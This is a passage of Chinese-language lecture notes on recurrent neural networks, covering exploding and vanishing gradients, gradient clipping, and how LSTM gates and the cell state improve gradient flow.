‡้‡็š„ๆƒ…ๅฝขไธญ๏ผŒๅฎƒ่ฆไนˆๅœจ่ฟ™ไธชๅ€ผๅคงไบŽ1ๆ—ถ๏ผŒๅ‘็”Ÿ๏ผˆๆขฏๅบฆ๏ผ‰็ˆ†็‚ธ๏ผŒ่ฆไนˆๅฝ“่ฟ™ไธชๅ€ผ็ปๅฏนๅ€ผๅฐไบŽ1ๆ—ถ๏ผˆๆขฏๅบฆ๏ผ‰้€ๆธๆถˆๅคฑๅ‡ๅฐๅˆฐ้›ถใ€‚ๅ”ฏไธ€่ƒฝๅคŸ่ฎฉ่ฟ™ไธๅ‘็”Ÿ็š„ๆƒ…ๅ†ตๆ˜ฏๅฝ“่ฟ™ไธชๅ€ผๆฐๅฅฝไธบ1ๆ—ถ๏ผŒไฝ†่ฟ™ๅœจๅฎž้™…ไธญๅพˆๅฐ‘่งใ€‚\n\n![image-20180903150157372](assets/image-20180903150157372.png)\n\n่ฟ™่ฎฉๆˆ‘ไปฌๅฏไปฅๅŒๆ ทๅปถไผธๅˆฐ็Ÿฉ้˜ต็š„ๆƒ…ๅ†ต๏ผŒไฝ†็Žฐๅœจไธๅ†ๆ˜ฏๆ ‡้‡็š„็ปๅฏนๅ€ผ๏ผŒไฝ ้œ€่ฆๅ…ณๆณจๆƒ้‡็Ÿฉ้˜ต็š„ๆœ€ๅคง็š„ๅฅ‡ๅผ‚ๅ€ผใ€‚ๅฆ‚ๆžœๆœ€ๅคงๅฅ‡ๅผ‚ๅ€ผๅคงไบŽ1๏ผŒ้‚ฃไนˆๅœจๅๅ‘ไผ ๆ’ญๆ—ถ๏ผŒๅฝ“ๆˆ‘ไปฌ็”จๆƒ้‡็Ÿฉ้˜ตไธ€ไธชไธ€ไธช็›ธไน˜ๆ—ถ๏ผŒ$h_0$ ็š„ๆขฏๅบฆๅฐ†ไผš้žๅธธ้žๅธธๅคง๏ผˆๅฆ‚ๆžœ่ฟ™ไธช็Ÿฉ้˜ต้žๅธธๅคง๏ผ‰๏ผŒ่ฟ™ๅฐฑๆ˜ฏๆˆ‘ไปฌ็งฐไน‹ไธบ**ๆขฏๅบฆ็ˆ†็‚ธ๏ผˆExploding gradients๏ผ‰**็š„้—ฎ้ข˜ใ€‚้š็€ๆ—ถ้—ดๆญฅๆ•ฐ็›ฎ็š„ๅขžๅŠ ๏ผŒๆขฏๅบฆๅฐ†ไผš้š็€ๅๅ‘ไผ ๆ’ญๆตๅ‘็š„ๆทฑๅบฆๅขžๅŠ ่€Œไบง็”ŸๆŒ‡ๆ•ฐ็บง็ˆ†็‚ธใ€‚ๅฆ‚ๆžœๆœ€ๅคงๅฅ‡ๅผ‚ๅ€ผๅฐไบŽ1๏ผŒๆƒ…ๅ†ตๅˆ™็›ธๅ๏ผŒ่ฟ™ๆ˜ฏๆขฏๅบฆไผšๆŒ‡ๆ•ฐ็บง็š„ไธๆ–ญ็ผฉๅฐ๏ผŒไฝ†ๆˆ‘ไปฌๅๅ‘ไผ ๆ’ญไธๆ–ญไน˜ไธŠ่ถŠๆฅ่ถŠๅคšๆƒ้‡็Ÿฉ้˜ตๅ› ๅญ๏ผŒ่ฟ™ๆˆไธบ**ๆขฏๅบฆๆถˆๅคฑ๏ผˆVanishing gradients๏ผ‰**้—ฎ้ข˜ใ€‚\n\nๆœ‰ไธ€ไธชๅฐๆŠ€ๅทงๆ˜ฏๅคงๅฎถ็ปๅธธ็”จๆฅ่งฃๅ†ณๆขฏๅบฆ็ˆ†็‚ธ้—ฎ้ข˜็š„ๆ–นๆณ•๏ผŒๆˆไธบ**ๆขฏๅบฆๆˆชๆ–ญ๏ผˆGradient clipping๏ผ‰**๏ผŒไนŸๆ˜ฏไธ€็งๅฏๅ‘ๅผ็ฎ—ๆณ•ใ€‚ๅœจๆˆ‘ไปฌ่ฎก็ฎ—ๆขฏๅบฆไน‹ๅŽ๏ผŒๅฆ‚ๆžœๆขฏๅบฆ็š„ L2 ่ŒƒๅผๅคงไบŽๆŸไธช้˜ˆๅ€ผ๏ผŒๅฐฑๅฐ†ๅฎƒๅ‰ชๆ–ญๅนถๅš้™คๆณ•ใ€‚ๅฐฑๆ˜ฏ่ฟ™ๆ ทๆŠŠๅฎƒๅ‰ช็Ÿญ๏ผŒ่ฟ™ๆ ท็š„ๆขฏๅบฆๅฐฑๆœ‰ๆœ€ๅคง้˜ˆๅ€ผใ€‚่ฟ™ๆ˜ฏๆฏ”่พƒ็ฒ—ๆšด็š„ๆ–นๆณ•๏ผŒไฝ†ๅœจๅฎž้™…ไธญไฝฟ็”จ่พƒๅคš๏ผŒๅœจ่ฎญ็ปƒๅพช็Žฏ็ฅž็ป็ฝ‘็ปœๆ—ถ๏ผŒ่ฟ™ๆ˜ฏไธ€็ง็›ธๅฏนๆœ‰็”จ็š„ๆ–นๆณ•ๆฅ้˜ฒๆญขๅ‘็”Ÿๆขฏๅบฆ็ˆ†็‚ธ้—ฎ้ข˜ใ€‚่€Œๅฏนๆขฏๅบฆๆถˆๅคฑ็š„้—ฎ้ข˜๏ผŒๅธธ่ง็š„ๅšๆณ•ๆ˜ฏๆขไธ€ไธชๆ›ดๅŠ ๅคๆ‚็š„ RNN ็ป“ๆž„ใ€‚่ฟ™ๅฐฑๆ˜ฏ**ไฝฟ็”จ LSTM ๏ผˆLong Short Term Memory๏ผ‰๏ผŒๅณ้•ฟ็ŸญๆœŸ่ฎฐๅฟ†็ฝ‘็ปœ๏ผŒ็š„ๅŽŸๅ› **๏ผŒๆ˜ฏ้€’ๅฝ’็ฅž็ป็ฝ‘็ปœ็š„ไธ€็งๆ›ด้ซ˜็บง็š„้€’ๅฝ’็ป“ๆž„ใ€‚LSTM ่ขซ่ฎพ่ฎก็”จๆฅ็ผ“่งฃๆขฏๅบฆๆถˆๅคฑๅ’Œๆขฏๅบฆ็ˆ†็‚ธ้—ฎ้ข˜ใ€‚ๆˆ‘ไปฌไธๆ˜ฏ็›ดๆŽฅๅœจ่พ“ๅ‡บไธŠๆƒณๅŠžๆณ•๏ผŒ่€Œๆ˜ฏ่ฎพ่ฎกไธ€ไบ›ๆ›ดๅฅฝ็š„็ป“ๆž„ๆฅ่Žทๅ–ๆ›ดๅฅฝ็š„ๆขฏๅบฆๆตๅŠจ๏ผŒๅฏไปฅ็ฑปๆฏ”ไธ€ไธ‹ๆˆ‘ไปฌไน‹ๅ‰่ฏพ็จ‹่งๅˆฐ่ฟ‡็š„้‚ฃไบ›้ซ˜็บง็š„ CNN ็ป“ๆž„ใ€‚\n\nๆญคๅค„ไธ€็ฏ‡ paper๏ผš\n\n> Hochreiter and Schmidhuber, โ€œLong Short Term Memoryโ€, Neural Computation 1997\n\nๅฆไธ€็‚นๆ˜ฏ LSTM cell ่ฟ™ไธชๆƒณๆณ•่ตทๆบไบŽ 1997 ๅนดใ€‚ๆ‰€ไปฅ LSTM ่ฟ™ไธชๆƒณๆณ•ๅทฒ็ป้žๅธธไน…่ฟœไบ†๏ผŒไบบไปฌๅทฎไธๅคšๆ˜ฏๅœจไธŠไธ–็บชไนๅๅนดไปฃๅฐฑ็€ๆ‰‹็ ”็ฉถๅฆ‚ไฝ•ๅฎž็Žฐ่ฟ™ไบ›้žๅธธ่ถ…ๅ‰็š„ๆƒณๆณ•ใ€‚็›ดๅˆฐ 20 ๅนดๅŽ็š„ไปŠๅคฉ๏ผŒ่ฟ™ไบ›ๆจกๅž‹ๆ‰ๅผ€ๅง‹ๅ˜ๅพ—ๆต่กŒ่ตทๆฅใ€‚\n\n![image-20180903150415732](assets/image-20180903150415732.png)\n\n่ฟ™ไบ› LSTM ็š„ๅ‡ฝๆ•ฐๅฝขๅผๅพˆๆœ‰่ถฃใ€‚ๆˆ‘ไปฌไน‹ๅ‰่ฎฒ่ฟ‡ vanilla ้€’ๅฝ’็ฅž็ป็ฝ‘็ปœ๏ผŒๅฎƒๅ…ทๅค‡้š่—็Šถๆ€๏ผŒๅœจๆฏไธชๆ—ถ้—ดๆญฅไธญๅˆฉ็”จ้€’ๅฝ’ๅ…ณ็ณปๆฅๆ›ดๆ–ฐ้š่—็Šถๆ€ใ€‚็Žฐๅœจ่€ƒ่™‘ LSTM๏ผŒๆˆ‘ไปฌๅœจๆฏไธชๆ—ถ้—ดๆญฅไธญ้ƒฝ็ปดๆŒไธคไธช้š่—็Šถๆ€๏ผŒไธ€ไธชๆ˜ฏ $h_t$๏ผŒๅฐฑ็ฎ€ๅ•ๅซๅš้š่—็Šถๆ€๏ผŒๅฏไปฅ็ฑปๆฏ” vanilla ้€’ๅฝ’็ฅž็ป็ฝ‘็ปœไธญๅฏนๅบ”็š„้š่—็Šถๆ€ใ€‚ไฝ†ๆ˜ฏ LSTM ่ฟ˜ๆœ‰็ฌฌไบŒไธชๅ‘้‡ $c_t$๏ผŒ่ฟ™ไธชๅซๅšๅ•ๅ…ƒ็Šถๆ€็š„ๅ‘้‡็›ธๅฝ“ไบŽไฟ็•™ๅœจ LSTM ๅ†…้ƒจ็š„้š่—็Šถๆ€๏ผŒๅนถไธ”ไธไผšๅฎŒๅ…จๆšด้œฒๅˆฐๅค–้ƒจๅŽปใ€‚ๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐ้€š่ฟ‡่ฟ™ไธชๆ›ดๆ–ฐๅ…ฌๅผ๏ผŒไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ้ฆ–ๅ…ˆๆˆ‘ไปฌๅฏไปฅไฝฟ็”จไธคไธช่พ“ๅ…ฅๆฅ่ฎก็ฎ—ๅ››ไธช้—จ๏ผŒๅณ $i,f,o,g$ใ€‚ๆˆ‘ไปฌไฝฟ็”จ่ฟ™ไบ›้—จๆฅๆ›ดๆ–ฐๅ•ๅ…ƒ็Šถๆ€ $c_t$๏ผŒ็„ถๅŽๆˆ‘ไปฌๅฐ†่ฟ™ไบ›ๅ•ๅ…ƒ็Šถๆ€๏ผˆไฝœไธบๅ‚ๆ•ฐ๏ผ‰ๆฅ่ฎก็ฎ—ไธ‹ไธ€ไธชๆ—ถ้—ดๆญฅไธญ็š„้š่—็Šถๆ€ใ€‚\n\nๅœจ LSTM ไธญ็ฌฌไธ€ไปถไบ‹ๆƒ…่ฆๅš็š„ๅฐฑๆ˜ฏ๏ผš็ป™ๅฎšๅ‰ไธ€ๆ—ถๅˆป็š„้š่—็Šถๆ€ $h_t$ ๅ’Œๅฝ“ๅ‰ๆ—ถๅˆป็š„่พ“ๅ…ฅๅ‘้‡ $x_t$๏ผŒๅฐฑๅƒ vanilla ็ฅž็ป็ฝ‘็ปœไธ€ๆ ทใ€‚ๅœจ vanilla ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒๆ‹ฟ็€ไธคไธช่พ“ๅ…ฅๅ‘้‡ๆ‹ผๆŽฅๅˆฐไธ€่ตท๏ผŒ็„ถๅŽ่ฟ›่กŒ็Ÿฉ้˜ต็›ธไน˜๏ผŒ็”ฑๆญค่ฎก็ฎ—ๅพ—ๅˆฐไบ† RNN ไธญไธ‹ไธ€ไธชๆ—ถๅˆป็š„้š่—็Šถๆ€ใ€‚็Žฐๅœจ LSTM ็š„ๅšๆณ•ๆœ‰็‚นไธๅŒใ€‚ๆˆ‘ไปฌไป็„ถๆ‹ฟไธŠไธ€ๆ—ถ้—ดๆญฅ็š„้š่—็Šถๆ€ๅ’Œๅฝ“ๅ‰็š„่พ“ๅ…ฅๅ †ๅ ๅœจไธ€่ตท๏ผŒ็„ถๅŽไน˜ไธŠไธ€ไธช้žๅธธๅคง็š„ๆƒ้‡็Ÿฉ้˜ต W๏ผŒ่ฎก็ฎ—ๅพ—ๅˆฐๅ››ไธชไธๅŒ็š„้—จๅ‘้‡๏ผŒๆฏไธช้—จๅ‘้‡็š„ๅคงๅฐๅ’Œ้š็Šถๆ€้ƒฝไธ€ๆ ทใ€‚ๆœ‰ๆ—ถๅ€™ไฝ ๅฏ่ƒฝไผš่งๅˆฐไธๅŒ็š„ๅ†™ๆณ•๏ผŒๆœ‰ๆ—ถๅ€™ไฝœ่€…ไปฌไผšไธบๆฏไธช้—จ้ƒฝ็”จไธ€ไธช็›ธๅบ”็š„ๆƒ้‡็Ÿฉ้˜ต๏ผŒๆœ‰ๆ—ถๅ€™ไฝœ่€…ไปฌๅˆไผšๆŠŠ่ฟ™ไบ›็Ÿฉ้˜ต็ป“ๅˆๆˆไธ€ไธชๅคง็š„ๆƒ้‡็Ÿฉ้˜ต๏ผŒๅ…ถๅฎžๆœฌ่ดจ้ƒฝๆ˜ฏไธ€ๆ ท็š„๏ผŒ้ƒฝๆ˜ฏ้€š่ฟ‡้š่—็Šถๆ€ๅ’Œๅฝ“ๅ‰่พ“ๅ…ฅๆฅ่ฎก็ฎ—ๅ››ไธช้—จใ€‚\n\n่ฟ™ๅ››ไธช้—จ้€šๅธธๅ†™ไฝœ $i,f,o,g$๏ผŒ็ฎ€็งฐ **ifog**ใ€‚่ฆ่ฎฐไฝ่ฟ™ๅ››ไธช้—จ็š„ๅๅญ—ไนŸๅพˆๅฎนๆ˜“๏ผši ไปฃ่กจ่พ“ๅ…ฅ้—จ๏ผˆinput gate๏ผ‰๏ผŒ่กจ็คบ LSTM ่ฆๆŽฅๅ—ๅคšๅฐ‘ๆ–ฐ็š„่พ“ๅ…ฅไฟกๆฏ๏ผ›f ๆ˜ฏ้—ๅฟ˜้—จ๏ผˆforget gate๏ผ‰๏ผŒ่กจ็คบ่ฆ้—ๅฟ˜ๅคšๅฐ‘ไน‹ๅ‰็š„ๅ•ๅ…ƒ่ฎฐๅฟ†๏ผŒๅฐฑๆ˜ฏไธŠไธ€ๆ—ถ้—ดๆญฅ็š„่ฎฐๅฟ†ไฟกๆฏ๏ผ›o ๆ˜ฏ่พ“ๅ‡บ้—จ๏ผˆoutput gate๏ผ‰๏ผŒ่กจ็คบๆˆ‘ไปฌ่ฆๅฑ•็Žฐๅคšๅฐ‘ไฟกๆฏ็ป™ๅค–้ƒจ๏ผ›G ๆฒกๆœ‰ไธ€ไธชๅฅฝๅๅญ—๏ผŒไธ€่ˆฌๅซ้—จไน‹้—จ๏ผˆgate gate๏ผ‰๏ผŒ่กจ็คบๆˆ‘ไปฌๆœ‰ๅคšๅฐ‘ไฟกๆฏ่ฆๅ†™ๅ…ฅๅˆฐ่พ“ๅ…ฅๅ•ๅ…ƒไธญใ€‚ๅฏไปฅๆณจๆ„ๅˆฐ่ฟ™ๅ››ไธช้—จ้ƒฝ็”จไบ†ไธๅŒ็š„้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒ$i,f,o$ ้ƒฝ็”จไบ† sigmoid๏ผŒ่ฟ™ๆ„ๅ‘ณ็€่พ“ๅ‡บๅ€ผ้ƒฝๅœจ 0 ๅ’Œ 1 ไน‹้—ด๏ผŒไฝ†ๆ˜ฏ้—จไน‹้—จ็”จไบ† tanh ๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ๆ„ๅ‘ณ็€่พ“ๅ‡บ้ƒฝๅœจ -1 ๅ’Œ 1 ไน‹้—ดใ€‚่ฟ™ๆœ‰็‚นๆ€ชๆ€ช็š„๏ผŒไฝ†ๆ˜ฏๅ…ถๅฎžๆ˜ฏ่ฏดๅพ—้€š็š„๏ผŒๅฆ‚ๆžœไฝ ๆƒณ่ฑก่ฟ™ไบ›้ƒฝๆ˜ฏไบŒๅ…ƒ็š„ๅ€ผ๏ผŒๆƒณ่ฑกๅ–ๅˆฐ่ฟ™ไธคไธชๆž็ซฏ็š„ๅ€ผๆ˜ฏไป€ไนˆๆƒ…ๆ™ฏใ€‚ๅฆ‚ๆžœไฝ ็œ‹็œ‹ๆˆ‘ไปฌ็ฎ—็š„่ฟ™ไบ›้—จ๏ผŒๅฆ‚ๆžœไฝ ็œ‹็ฌฌไบŒๆกๅ…ฌๅผ๏ผŒๅฏไปฅ็œ‹ๅˆฐๆ˜ฏไธŠไธ€ๆ—ถ้—ดๆญฅ็š„ๅ•ๅ…ƒ็Šถๆ€็ป่ฟ‡ไบ†้—ๅฟ˜้—จ็š„้€ๅ…ƒ็ด ไน˜ๆ“ไฝœใ€‚่ฟ™ไธช้—ๅฟ˜้—จ็š„่ฏ๏ผŒๅฏไปฅ็œ‹ๅš้ƒฝๆ˜ฏ 0 ๅ’Œ 1 ็š„ๅ‘้‡๏ผŒ่ฟ™ไบ›ๅ€ผๅ‘Š่ฏ‰ๆˆ‘ไปฌๅฏนไบŽๅ•ๅ…ƒ็Šถๆ€ไธญ็š„ๆฏไธชๅ…ƒ็ด ๏ผŒๅฆ‚ๆžœ้—ๅฟ˜้—จไธญ็š„ๅ€ผๆ˜ฏ้›ถ๏ผŒ่ฏดๆ˜Žๆˆ‘ไปฌๆƒณ่ฆๅฟ˜่ฎฐ่ฟ™ไธชๅ•ๅ…ƒ็Šถๆ€ไธญ็š„ๅ…ƒ็ด ๅ€ผ๏ผ›ๅฆ‚ๆžœ้—ๅฟ˜้—จไธญ็š„ๅ€ผๆ˜ฏ 1๏ผŒ่ฏดๆ˜Žๆˆ‘ไปฌๆƒณ่ฆ่ฎฐไฝๅ•ๅ…ƒ็Šถๆ€ไธญ็š„ๅ€ผใ€‚ไธ€ๆ—ฆๆˆ‘ไปฌไฝฟ็”จไบ†้—ๅฟ˜้—จๆฅๆ–ญๅผ€้ƒจๅˆ†ๅ•ๅ…ƒ็Šถๆ€็š„ๅ€ผ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฐฑ้œ€่ฆ่พ“ๅ…ฅ้—จ๏ผŒๅณ i ๅ’Œ g ๅš้€ๅ…ƒ็ด ไน˜ๆณ•ใ€‚i ๆ˜ฏ็”ฑ 0 ๅ’Œ 1 ๆž„ๆˆ็š„ๅ‘้‡๏ผŒๅ› ไธบ i ๆ˜ฏ็ป่ฟ‡ไบ†ไธ€ไธช sigmoid ๅ‡ฝๆ•ฐๅพ—ๅˆฐ็š„๏ผŒ่พ“ๅ…ฅ้—จๅ‘Š่ฏ‰ๆˆ‘ไปฌ๏ผŒๅฏนไบŽๅ•ๅ…ƒ็Šถๆ€็š„ๆฏไธชๅ…ƒ็ด ๅ€ผ๏ผŒๅฆ‚ๆžœ i ็š„ๅ€ผๆ˜ฏ 1๏ผŒ่ฏดๆ˜Žๆˆ‘ไปฌๆƒณ่ฆไฟ็•™ๅ•ๅ…ƒ็Šถๆ€็š„้‚ฃไธชๅ…ƒ็ด ๏ผŒๆˆ–่€…ๅฆ‚ๆžœ i ็š„้‚ฃไธชไฝ็ฝฎๆ˜ฏ 0 ็š„่ฏ๏ผŒ่ฏดๆ˜Žๆˆ‘ไปฌไธๆƒณไฟ็•™ๅ•ๅ…ƒ็Šถๆ€ๅฏนๅบ”็š„้‚ฃไธชๅ…ƒ็ด ใ€‚็Žฐๅœจ่€ƒ่™‘้—จไน‹้—จ๏ผŒๅ› ไธบ่ฟ™ไธชๆ˜ฏ tanh ๅ‡ฝๆ•ฐๅค„็†ๅŽ็š„็ป“ๆžœ๏ผŒๆ‰€ไปฅๅ€ผ้ƒฝๅœจ -1 ๅ’Œ 1 ไน‹้—ดใ€‚่ฟ™ไบ›ๅ€ผๆ˜ฏๅฝ“ๅ‰ๆ—ถ้—ดๆญฅไธญๆˆ‘ไปฌๅฏ่ƒฝไผšๅ†™ๅ…ฅๅˆฐๅ•ๅ…ƒ็Šถๆ€ไธญๅŽป็š„ๅ€™้€‰ๅ€ผใ€‚ๅฆ‚ๆžœไฝ ็œ‹็œ‹ๅ•ๅ…ƒ็Šถๆ€็š„ๅ…ฌๅผ๏ผŒๅฏไปฅ็œ‹ๅˆฐๆฏไธชๆ—ถ้—ดๆญฅไธญ๏ผŒๅ•ๅ…ƒ็Šถๆ€้ƒฝๆœ‰่ฟ™ไบ›ไธๅŒ็š„็‹ฌ็ซ‹็š„ๆ ‡้‡ๅ€ผ๏ผŒๅœจๆฏไธชๆ—ถ้—ดๆญฅไธญๅฏไปฅ่ขซๅŠ ไธ€ๆˆ–่€…ๅ‡ๅŽปไธ€๏ผŒๅฐฑๆ˜ฏ่ฏด๏ผŒๅœจๅ•ๅ…ƒ็Šถๆ€็š„ๅ†…้ƒจ๏ผŒๆˆ‘ไปฌๅฏไปฅไฟ็•™ๆˆ–่€…้—ๅฟ˜ไน‹ๅ‰็š„็Šถๆ€๏ผŒๅœจๆฏไธชๆ—ถ้—ดๆญฅไธญๆˆ‘ไปฌๅฏไปฅ็ป™ๅ•ๅ…ƒ็Šถๆ€็š„ๆฏไธชๅ…ƒ็ด ๅŠ ไธŠๆˆ–่€…ๅ‡ๅŽปๆœ€ๅคšๆ˜ฏ 1 ็š„ๅ€ผ๏ผŒๆ‰€ไปฅไฝ ๅฏไปฅๆŠŠๅ•ๅ…ƒ็Šถๆ€็š„ๆฏไธชๅ…ƒ็ด ็œ‹ไฝœๆ˜ฏๅฐ็š„ๆ ‡้‡่ฎกๆ•ฐๅ™จ๏ผŒๆฏไธชๆ—ถ้—ดๆญฅไธญๅช่ƒฝ่‡ชๅขžๆˆ–่€…่‡ชๅ‡ใ€‚ๅœจ่ฎก็ฎ—ไบ†ๅ•ๅ…ƒ็Šถๆ€ $c_t$ ไน‹ๅŽ๏ผŒๆˆ‘ไปฌๅฐ†้€š่ฟ‡ๆ›ดๆ–ฐ่ฟ‡็š„ๅ•ๅ…ƒ็Šถๆ€ๆฅ่ฎก็ฎ—้š็Šถๆ€ $h_t$๏ผŒ่ฟ™ไธชๅ‘้‡ๆ˜ฏ่ฆๆšด้œฒๅˆฐๅค–้ƒจ็š„ใ€‚ๅ› ไธบๅ‰้ขๆŠŠๅ•ๅ…ƒ็Šถๆ€่งฃ้‡Šๆˆ่ฎกๆ•ฐๅ™จ๏ผŒ่€Œไธ”ๆฏไธชๆ—ถ้—ดๆญฅ้ƒฝๆ˜ฏๅŠ ไธ€ๆˆ–่€…ๅ‡ไธ€๏ผŒๆˆ‘ไปฌๆƒณ่ฆๆŠŠ่ฟ™ไธช่ฎกๆ•ฐ็”จ tanh ๅŽ‹็ผฉๅˆฐ 0 ๅ’Œ 1 ไน‹้—ด๏ผŒ็Žฐๅœจ็”จ่ฟ™ไธช่พ“ๅ‡บ้—จ้€ๅ…ƒ็ด ไน˜ไธŠๅ•ๅ…ƒ็Šถๆ€ใ€‚ๅ› ไธบ่ฟ™ไธช่พ“ๅ‡บ้—จๆ˜ฏ็ป่ฟ‡ sigmoid ๅ‡ฝๆ•ฐๅŽ็š„็ป“ๆžœ๏ผŒๆ‰€ไปฅๅฎƒ็š„็ป„ๆˆๅ…ƒ็ด ๅคง้ƒจๅˆ†ๆ˜ฏ 0 ๅ’Œ 1๏ผŒ่พ“ๅ‡บ้—จๅ‘Š่ฏ‰ๆˆ‘ไปฌๅฏนไบŽๅ•ๅ…ƒ็Šถๆ€ไธญ็š„ๆฏไธชๅ…ƒ็ด ๏ผŒๆˆ‘ไปฌๅœจๆฏไธชๆ—ถๅˆป่ฎก็ฎ—ๅค–้ƒจ็š„้š็Šถๆ€ๆ—ถ๏ผŒๅˆฐๅบ•ๆƒณไธๆƒณๆšด้œฒ้‚ฃไธชๅ•ๅ…ƒ็Šถๆ€็š„ๅ…ƒ็ด ใ€‚\n\n![image-20180903163327088](assets/image-20180903163327088.png)\n\nๅฏนไบŽไธŠๅ›พๅทฆ่พนๆ‰€็คบ็š„ไธŠไธ€ๆ—ถ้—ดๆญฅไธญ็š„ๅ•ๅ…ƒ็Šถๆ€ $h_{t-1}$ ๅ’Œ้š่—็Šถๆ€ $h_{t-1}$ ไปฅๅŠๅฝ“ๅ‰ๆ—ถ้—ดๆญฅไธญ็š„่พ“ๅ…ฅ $x_t$ใ€‚ๆˆ‘ไปฌ่ฆๆŠŠไธŠไธ€ๆ—ถ้—ดๆญฅ็š„้š่—็Šถๆ€ๅ’Œๅฝ“ๅ‰ๆ—ถ้—ดๆญฅ็š„่พ“ๅ…ฅๅ †็งฏๅœจไธ€่ตท๏ผŒ็„ถๅŽไน˜ไธŠๆƒ้‡็Ÿฉ้˜ต W๏ผŒๆฅๅพ—ๅˆฐๅ››ไธช้—จใ€‚่ฟ™้‡Œๆˆ‘็œ็•ฅไบ†้ž็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒๅ› ไธบไน‹ๅ‰็š„่ฎฒไน‰ๆๅˆฐ่ฟ‡ใ€‚้—ๅฟ˜้—จๆ˜ฏๅ’ŒไธŠไธ€ๆ—ถ้—ดๆญฅ็š„ๅ•ๅ…ƒ็Šถๆ€ๅš้€ๅ…ƒ็ด ไน˜ๆณ•๏ผŒ่พ“ๅ…ฅ้—จๅ’Œ้—จไน‹้—จไนŸๆ˜ฏๅš้€ๅ…ƒ็ด ไน˜ๆณ•๏ผŒ็„ถๅŽๅŠ ๅœจไธ€่ตท๏ผŒๅฐฑๅพ—ๅˆฐไบ†ไธ‹ไธ€ๆ—ถ้—ดๆญฅ็š„ๅ•ๅ…ƒ็Šถๆ€ $c_t$๏ผŒไธ‹ไธ€ๆ—ถ้—ดๆญฅ็š„ๅ•ๅ…ƒ็ป่ฟ‡ไธ€ไธช tanh ๅ‡ฝๆ•ฐ็š„ๅŽ‹็ผฉ๏ผŒๅˆ็ป่ฟ‡่พ“ๅ‡บ้—จ็š„้€ๅ…ƒ็ด ไน˜ๆณ•๏ผŒๅพ—ๅˆฐไบ†ไธ‹ไธ€ๆ—ถ้—ดๆญฅ็š„้š่—็Šถๆ€ $h_t$ใ€‚\n\n่‹ฅๅœจๅๅ‘ไผ ๆ’ญ่ทฏๅพ„ไธญ๏ผŒ่ฎก็ฎ—ไบ†ๅ•ๅ…ƒ็Šถๆ€็š„ๆขฏๅบฆ๏ผŒ็ป“ๆžœๆ˜ฏๅพˆๆผ‚ไบฎ็š„ใ€‚ๆˆ‘ไปฌ้€š่ฟ‡ไผ ่พ“่ฟ›ๆฅ็š„ๅ•ๅ…ƒ่Žทๅพ—ไบ†ไธŠๆธธๆขฏๅบฆ๏ผŒ็„ถๅŽๆˆ‘ไปฌ้€š่ฟ‡ๅŠ ๆณ•่ฟ็ฎ—๏ผŒ่ฎฐไฝ่ฟ™ไธชๅŠ ๆณ•ๅŒ€้€Ÿไธ‰ไป…ไป…ๆ˜ฏๅฐ†ไธŠๆธธ็š„ๆขฏๅบฆๅคๅˆถๅœจไธคไธชๅˆ†ๆ”ฏ้‡Œ๏ผŒ่ฟ™ๆ ทไธŠๆธธ็š„ๆขฏๅบฆ็›ดๆŽฅ่ขซๅคๅˆถๅนถไธ”้€š่ฟ‡ๅ…ƒ็ด ็›ธไน˜็š„ๆ–นๅผ็›ดๆŽฅ่ดฏ็ฉฟไบ†ๅๅ‘ไผ ๆ’ญ่ฟ‡็จ‹๏ผŒ็„ถๅŽไธŠๆธธ็š„ๆขฏๅบฆๆœ€็ปˆ้€š่ฟ‡้—ๅฟ˜้—จๅพ—ๅˆฐ็›ธไน˜ๅŽ็š„ๅ…ƒ็ด ใ€‚ๅฝ“ๆˆ‘ไปฌ้€š่ฟ‡่ฟ™ไธชๅ•ๅ…ƒ็Šถๆ€ๅ‘ๅŽๅๅ‘ไผ ๆ’ญๆ—ถ๏ผŒๅฏนไบŽไธŠๆธธ็š„ๅ•ๅ…ƒ็Šถๆ€ๆขฏๅบฆ๏ผŒๅ”ฏไธ€ไผšๅ‘็”Ÿ็š„ไบ‹ๆƒ…ๅฐฑๆ˜ฏๅฎƒๆœ€็ปˆไผš้€š่ฟ‡้—ๅฟ˜้—จๅพ—ๅˆฐ็›ธไน˜ๅŽ็š„ๅ…ƒ็ด ใ€‚่ฟ™็กฎๅฎžๆฏ”ๅŽŸๅง‹ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœๅฅฝๅพˆๅคš๏ผŒๅŽŸๅ› ๆœ‰ไธคไธช๏ผš\n\n1. ็ฌฌไธ€ไธชๅŽŸๅ› ๆ˜ฏ่ฟ™้‡Œ็š„้—ๅฟ˜้—จๆ˜ฏ็Ÿฉ้˜ตๅ…ƒ็ด ็›ธไน˜๏ผŒ่€Œไธๆ˜ฏ็Ÿฉ้˜ต็›ธไน˜ใ€‚่€Œ็Ÿฉ้˜ตๅ…ƒ็ด ็›ธไน˜ไผšๆฏ”็Ÿฉ้˜ต็›ธไน˜ๅฅฝไธ€็‚น๏ผ›\n2. ็ฌฌไบŒไธชๅŽŸๅ› ๆ˜ฏ็Ÿฉ้˜ตๅ…ƒ็ด ็›ธไน˜ๅฏ่ƒฝไผšๅœจไธๅŒ็š„ๆ—ถ้—ด็‚นไน˜ไปฅไธ€ไธชไธๅŒ็š„้—ๅฟ˜้—จใ€‚ๅ› ๆญค่ฆ่ฎฐไฝ๏ผŒๅœจ vanilla ๅพช็Žฏ็ฅž็ป็ฝ‘็ปœไธญ๏ผŒๆˆ‘ไปฌไผšไธๆ–ญๅœฐไน˜ไปฅ็›ธๅŒ็š„ๆƒ้‡็Ÿฉ้˜ตไธ€้ๅˆไธ€้๏ผŒๆ˜พ่€Œๆ˜“่งๅœฐ่ฟ™ไผšๅฏผ่‡ดๆขฏๅบฆ็ˆ†็‚ธๆˆ–่€…ๆขฏๅบฆๆถˆๅคฑใ€‚ไฝ†ๆ˜ฏๅœจ่ฟ™ไธช LSTM ไพ‹ๅญไธญ๏ผŒ้—ๅฟ˜้—จๅœจๆฏไธ€ไธชๆ—ถ้—ด็‚นไผšๅ‘็”Ÿๅ˜ๅŒ–๏ผŒๅ› ๆญคๅฏนไบŽ่ฟ™ไธชๆจกๅž‹ๆฅ่ฏด้ฟๅ…ๅ‡บ็Žฐๆขฏๅบฆ็ˆ†็‚ธๆˆ–่€…ๆขฏๅบฆๆถˆๅคฑ้—ฎ้ข˜ใ€‚ๆœ€ๅŽ๏ผŒๅ› 